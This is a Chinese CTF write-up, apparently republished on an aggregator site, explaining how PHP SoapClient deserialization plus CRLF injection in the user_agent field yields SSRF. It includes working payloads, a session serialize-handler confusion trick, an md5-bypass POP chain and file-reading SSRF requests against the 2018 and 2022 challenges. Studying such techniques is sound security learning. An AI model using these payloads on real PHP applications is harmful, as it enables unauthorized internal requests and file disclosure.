从2022安洵杯[babyPHP]看Soap+CLRF造成SSRF漏洞

news2025/1/21 9:37:59

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

目录

前言

一、PHP SOAP

二、漏洞成因

三、 题目知识准备

1、PHP Session反序列化

         2、题目相关函数

四、[LCTF 2018]bestphp's revenge

五、2022安洵杯 BabyPHP


前言

提示:这里可以添加本文要记录的大概内容:

今天有一位学弟在安洵杯结束后,发了安洵杯babyPHP的题目跟我探讨,自己看了一下,发现也确实没有碰到过,但是在网上搜到了相应的CTF例题,所以研究了一下,写个总结。


提示:以下是本篇文章正文内容,下面案例可供参考

一、PHP SOAP

SOAP是WebService三要素之一,SOAP称为简单对象访问协议,是连接Web服务或客户端和Web服务器之间的接口。采用的是XML作为数据传送格式,HTTP为底层通讯协议。

在PHP中,SOAP扩展有几个类,本次用到的主要是SoapClient类,解释如下:

public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

第一个参数指明是否为wsdl模式,NULL为非wsdl模式,非wsdl模式下进行反序列化的时候会对第二个参数中的url和locaition进行远程soap请求。

第二个参数是数组,表示soap请求的一些参数和属性。

在PHP中,要使用SoapClient,需要在php.ini中开启PHP扩展

                

二、漏洞成因

1、在原生的PHP SoapClient类中,存在__call魔术方法,当调用不存在的方法时候会自动调用此方法,对location中的URL进行请求,先来看一下。

<?php
$target = "http://192.168.23.137:5555";
$attack = new SoapClient(null,array('location' => $target,
    'user_agent' => "aiwin",
    'uri' => "123"));
$payload = serialize($attack);
echo $payload;

$c=unserialize($payload);
$c->not_function();

 可以看到Soap利用HTTP协议传输,传输的数据格式的XML。

 重要的是可以看到发送的请求中,uri参数和user_agent参数可控,可以自定义发送soap请求的值,在HTTP请求中,我们知道每一个头部属性值都是通过\r\n换行进行间隔,那么原生Soap就可以通过user_agent通过注入\r\n恶意的换行注入Cookie或者一些其它属性代码,造成CRLF注入。

<?php
$target = "http://192.168.23.137:5555";
$attack = new SoapClient(null,array('location' => $target,
    'user_agent' => "aiwin\r\nCookie: PHPSESSID=123456\r\n",
    'uri' => "123"));
$payload = serialize($attack);
echo $payload;

$c=unserialize($payload);
$c->not_function();

 可以看到,恶意注入了Cookie会话,CRLF确实可行。

三、 题目知识准备

1、PHP Session反序列化

在php session中,存在一部分参数规定关于session的操作。

 session.save_handler 表示session的保存形式是file。

 session.save_path 表示session的保存路径,一般linux在/tmp/sess_id。

 session.serialize_handler 表示session序列化的存储器,默认的php,还有php_serialize、php_binary。

session.upload_progress_cleanup表示读取了数据后,会立即清除掉session的进度信息。

session.upload_progress_enable表示upload_progress功能启动,即浏览器向服务器上传文件时,php会把此次文件上传的详细信息存储在session中。

session.upload_progress中的prefix 和 name 两项用来设置进度信息在session中存储的变量名/键名。

session.use_strict_mode中的值为off,表示Cookie中的sessionid可控。

 关于三种处理器的区别:

处理器为php时,session的内容是键名+竖线+经过序列化函数后反序列化的值,如name|s:5:"aiwin";

处理器为php_binary  内容是ASCII字符+键名+序列化函数后反序列化的值,如a:1:{s:4:"name";s:5:"aiwin";}

处理器为php_serialize 内容是经过序列化后反序列化的数组,如 二进制字符names:5:"aiwin";

那么当session反序列化和序列化的时候使用不同的引擎,即可触发错误,比如,$_SESSION['test'] = '|aiwin',用php_serialize得到的内容为,a:1:{s:4:”name”;s:6:”|aiwin”;},

使用php引擎时,|是分隔符,所以aiwin被当成了值传入了$_SESSION。

2、题目相关函数

(1)call_user_func($value1,$value2)

把第一个参数作为回调函数调用。

<?php
class test{
    static function hello(){
        echo "hello!\n";
    }
}
$test=new test();
call_user_func(array($test,'hello'));


输出:hello

 (2)extract函数:

从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

<?php
$a = "Original";
$test = array("a" => "test", "b" => "Aiwin");

extract($test);

echo "$a=$a"
?>


输出:test=test

 (3)PHP的一些原生类

DirectoryIteratory原生类,可以遍历目录,也可以联合glob://协议一起用,可以使用通配符

<?php

$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $file){
   echo $dir;
    }


输出当前目录下的文件

GlobIterator原生类,与上面类似,不同的是自带了glob协议。 

SplFileObject原生类,可以用于读取文件的内容,一般只读取一行,全部读取需要遍历

<?php
$context = new SplFileObject('flag');
echo $context;


输出:flag的文件内容

还有一些原生类这里没用到,就不进行介绍了。 

以下例题注意点:自身new SoapClient的PHP版本要为7的版本,开始用的8的版本发现不行,因为PHP8进行new SoapClient生成的东西会比7多很多属性值。

四、[LCTF 2018]bestphp's revenge

题目源码:

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

题目说明了flag在flag.php中,利用上面的知识进行做题,首先需要更改handler的引擎为php_serialize,这里存在call_user_func,PHP版本号为7.0+,可以通过call_user_func调用session_start()更好引擎,然后传入构造的new SoapClient的序列化值,然后再通过变量覆盖掉$b,使SoapClient访问不存在的方法welcome_to_the_lctf2018从而访问location中的flag.php,返回flag的值。

 

<?php
$target='http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,
    'user_agent' => "aiwin\r\nCookie:PHPSESSID=123456\r\n",
    'uri' => "http://127.0.0.1/"));

$se = serialize($b);
echo "|".urlencode($se);

 

这里通过变量覆盖,覆盖掉b的值,b=call_user_func后call_user_func($b,$a)就变成了call_user_func("call_user_func",array("SoapClient","Welcome_to_the_ctf..."))使SoapClient调用了call_user_func。

 

这里需要|的原因是因为之前所说的引擎不同造成的漏洞,使用php_serialize引擎序列化后,程序加载session的时候,使用的是php引擎处理,|后的内容就是键值,这样就成功序列化了一个SoapClient对象。 

五、2022安洵杯 BabyPHP

<?php
//something in flag.php

class A
{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = "babyhacker";
    }

    public function __invoke()
    {
        if (isset($this->a) && $this->a == md5($this->a)) {
            $this->b->uwant();
        }
    }
}

class B
{
    public $a;
    public $b;
    public $k;

    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}

class C
{
    public $a;
    public $c;

    public function __toString()
    {
        $cc = $this->c;
        return $cc();
    }
    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        } else {
            call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}


if (isset($_GET['d0g3'])) {
    ini_set($_GET['baby'], $_GET['d0g3']);
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
}
else{
    session_start();
    if (isset($_POST["pop"])) {
        unserialize($_POST["pop"]);
    }
}
var_dump($_SESSION);
highlight_file(__FILE__);

 有一段反序列化,Pop链为B::__toString->A::__invoke()->C::uwant(),绕过A类直接增加A的个数即可,弱相等,绕过md5可以使用科学计数法。

<?php
class A{
public $a='0e215962017';
public $b;
}
class B{
public $a;
public $b;
public $k;
}
class C{
public $a='phpinfo';
public $c;
}
$a=new B;
$a->a=new C;
$a->a->c=new A;
$a->a->c->b=new C;
echo serialize($a);

 传入pop可以查看到phpinfo()

 其实知道是SoapClient造成SSRF,不看phpinfo()也可以。

提示有flag.php,查看flag.php的代码:

<?php
session_start();
highlight_file(__FILE__);
//flag在根目录下
if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1") {
    $f1ag = implode(array(new $_GET['a']($_GET['b'])));
    $_SESSION["F1AG"] = $f1ag;
} else {
    echo "only localhost!!";
}
only localhost!!

这里提示flag在根目录下, $f1ag = implode(array(new $_GET['a']($_GET['b'])));使new出来的原生类能够拼接起来,所以可以通过SSRF访问flag.php并且传入a和b参数的属性为DirectoryIterator原生类联合glob先读取flag的文件名。

 

$target = 'http://127.0.0.1/flag.php?a=DirectoryIterator&b=glob:///f*';
$b = new SoapClient(null, array('location' => $target,
    'user_agent' => "aiwin1\r\nCookie:PHPSESSID=aiwin1\r\n",
    'uri' => "http://127.0.0.1/"));
$a = serialize($b);
echo "|" . urlencode($a);

解题和上面一样,先更改引擎,这里有ini_set(),可以直接利用更改引擎。

 

 然后传入反序列的Pop链,使用链条进入call_user_func,触发SoapClient的__call方法

 

知道了flag的文件名是f111llllllllaagg,然后再通过SplFileObject原生类读取flag。

$target = 'http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg';
$b = new SoapClient(null, array('location' => $target,
    'user_agent' => "aiwin1\r\nCookie:PHPSESSID=aiwin1\r\n",
    'uri' => "http://127.0.0.1/"));
$a = serialize($b);
echo "|" . urlencode($a);

 按照相等步骤传入即可读到flag

 


总结

漏洞理解起来不算很难,但是从看例题然后解这道安洵杯,还是花费了好多时间,但是也收获了不少,长了不少知识。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/43781.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于ASP.net的服装商城设计

目录 海秀衣城系统 2 1.概 述 2 1.1 网上购物的发展 2 1.2 三层架构技术简介 2 2. 系统总体设计 4 2.1 开发以及运行环境 4 2.2项目结构分析 4 2.3系统功能总体结构图 5 2.4系统功能结构分解图 5 3. 数据库设计 6 3.1 数据库设计 6 3.2 数据表 7 4. 模块设计 10 4.1 前端功能模…

SpringCloud微服务实践之七 网关(Gateway)

一、网关基本概念 &#xff08;一&#xff09;网关功能 身份认证和权限校验服务路由、负载均衡请求限流 &#xff08;二&#xff09;网关技术选型 SpringCloud提供了两个组件都可以实现网关功能&#xff1a; gatewayzuul 其中&#xff0c;Zuul是基于Servlet的实现&#xff…

SQL注入漏洞 | 数字型

文章目录前言MySQL 数字型前言 SQL注入漏洞 | iwebsec MySQL 数字型 页面观察&#xff1a;测试看回显 注入点判断&#xff1a;发现有sql注入漏洞 AND 可在 where 子语句中把两个或多个条件结合起来。如果第一个条件和第二个条件都成立&#xff0c;则 AND 运算符显示一条记录…

HBuilder X实现tabBar底部导航记录

首先&#xff0c;打开uniapp官网&#xff0c;找到tarbar官方文档&#xff0c;仔细阅读&#xff0c;具体位置如下&#xff0c;全局配置下面的pages.json页面路由里面找到tabBar&#xff0c;点击查看&#xff1a; 重点注意这两句话&#xff1a; 找到文档我们就可以按照上面的提示…

迭代器模式(Iterator)

参考&#xff1a; 迭代器设计模式 (refactoringguru.cn) [design-patterns-cpp/Iterator.cpp at master JakubVojvoda/design-patterns-cpp GitHub 文章目录一、什么是迭代器模式&#xff1f;二、实现三、优缺点优点缺点一、什么是迭代器模式&#xff1f; 提供一种方法&…

QFont-使用外部字体文件的问题

我们程序里面定义了某个结构体(这里简单描述为AStruct)&#xff0c;AStruct包含了一个QFont 类型的成员变量&#xff1a; struct AStruct {QFont ft; }; 在具体业务上&#xff0c;AStruct中的QFont会被传递给QPainter去绘制文本。 保存工程/加载工程时时&#xff0…

用Python写个爬虫,赚了!

前言 编程语言排行榜(Tiobe)发布了11月新榜&#xff0c;Python仍领先Java和C&#xff0c;在全球众多的老牌编程语言中&#xff0c;以其他对手无法企及的极高份额稳居榜单第一位。 榜单数据是客观真实的&#xff0c;当下Python的使用者越来越多&#xff0c;已经远超使用其他十…

【Linux初阶】认识冯诺依曼结构

&#x1f31f;hello&#xff0c;各位读者大大们你们好呀&#x1f31f; &#x1f36d;&#x1f36d;系列专栏&#xff1a;【Linux初阶】 ✒️✒️本篇内容&#xff1a;计算机的冯诺依曼组成结构、冯诺依曼结构的数据交换特性&#xff0c;以宏观视角理解冯诺依曼下的网络数据传输…

Spring Cloud Alibaba 容器化部署最佳实践 | 本地部署版本详解

环境声明 在运行本地示例之前&#xff0c;需要保证本机具备以下的基础环境&#xff0c;如果您的本地没有当前的环境&#xff0c;下面会一步步进行搭建&#xff0c;演示搭建过程。 Nacos 服务端Seata 服务端RocketMQ 服务端MySQL 服务端 可在国内https://gitee.com/mirrors/S…

低代码在离散制造业的实践

大家上午好&#xff0c;非常感谢明道云给我这个机会&#xff0c;来展示一下这个上海电气在明道云上面的应用。我的题目是《低代码在离散制造业的实践》。 引入明道云的背景 首先介绍一下我们电气数字科技有限公司。它是在2018年的时候&#xff0c;上海电气集团内部成立的数科…

捷码全新快速表单功能解读

在最近的更新中&#xff0c;捷码迎来了比较多的功能上新&#xff0c;其中最受大家关注的是全新的表单功能。无论是从功能丰富度还是操作便利性上都做了大量设计。本文将从重点功能设置操作流程上进行演示说明。 表单控件和关联 ——1对1、1对n、n对n 支持多场景 首先是表单控…

航空货运数据挖掘那些事|航班换季

目录前言航班换季航班换季对航空货运业务有哪些影响参考文献前言 就在上个月月底&#xff0c;即2022年10月29日到2022年10月30日&#xff0c;中国民航完成了2022年的夏秋季航季到2022/23年冬春航季切换工作&#xff0c;俗称航班换季&#xff0c;那么何为航班换季呢&#xff0c…

流媒体传输 - RTMP 协议

RTMP 是 Real Time Messaging Protocol&#xff08;实时消息传输协议&#xff09;的首字母缩写。它是由 Adobe 公司提出的一种应用层的协议&#xff0c;用来解决多媒体数据传输流的多路复用&#xff08;Multiplexing&#xff09;和分包&#xff08;packetizing&#xff09;的问…

氨基苯酚/多巴胺仿生修饰碳纳米管/α-氧化铝/ CNTs-Ag纳米复合材料

小编下面和大家来看间氨基苯酚/多巴胺仿生修饰碳纳米管/α-氧化铝/ CNTs-Ag纳米复合材料的制备&#xff01; 多巴胺仿生修饰材料的研究&#xff1a; 通过表面聚多巴胺层与银离子的螯合作用,通过表面聚多巴胺与银离子的螯合作用,利用葡萄糖作还原剂,在聚多巴胺修饰的聚酯纤维表…

HarmonyOS应用API手势方法-PanGesture

描述&#xff1a;用于触发拖动手势事件&#xff0c;滑动的最小距离为5vp时拖动手势识别成功。 Api&#xff1a;从API Version 7开始支持 接口&#xff1a; PanGesture(value?: { fingers?: number; direction?: PanDirection; distance?: number } | PanGestureOptions)…

IT6225/IT6225B Type-C转HDMI 4K60设计方案

ITE&#xff08;新联阳&#xff09;的IT6225/IT6225B&#xff0c;是一款Type-C转HDMI 460K的视频转换芯片 通过USB Type-C连接器将DP RX视频信号转换为HDMI/DVI TX视频信号。DP信号转接只用2lane&#xff0c;另外2lane可以输出USB 3.0/3.1信号&#xff0c;同时兼容PD 3.0&…

Zabbix自动监控windows端口(主动监控方式)

第一部分&#xff1a;服务器上的操作&#xff08;脚本&配置&#xff09; 创建脚本文件 在客户端新建discovertcpport.bat文件&#xff0c;放在C:\Program Files\Zabbix Agent目录中&#xff0c;内容如下&#xff1a; echo off echo { echo "data":[ f…

[附源码]计算机毕业设计springboot创意摄影交流平台

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

python面向对象进阶-继承、多态

继承 python面向对象的继承指的是多个类之间的所属关系&#xff0c;及子类默认继承父类的所有属性和方法#父类A class A(object):def __init__(self):self.num 1#定义成员函数&#xff1a;方法def info_print(self):print(self.num)#子类&#xff0c;继承父类 class B(A):pass…

PaddlePaddle自然语言处理总结

11月28日 week14 周一 910节 物联201 2008070101 本文总结&#xff1a; 1.介绍词向量引入对自然语言处理有着至关重要的作用&#xff1b; 2.介绍了word2vec算法&#xff1b; 3.介绍CBOW算法的实现&#xff1b; 4.介绍Skip-Gram算法的实现。 基本流程&#xff1a; 1.数据预处理&…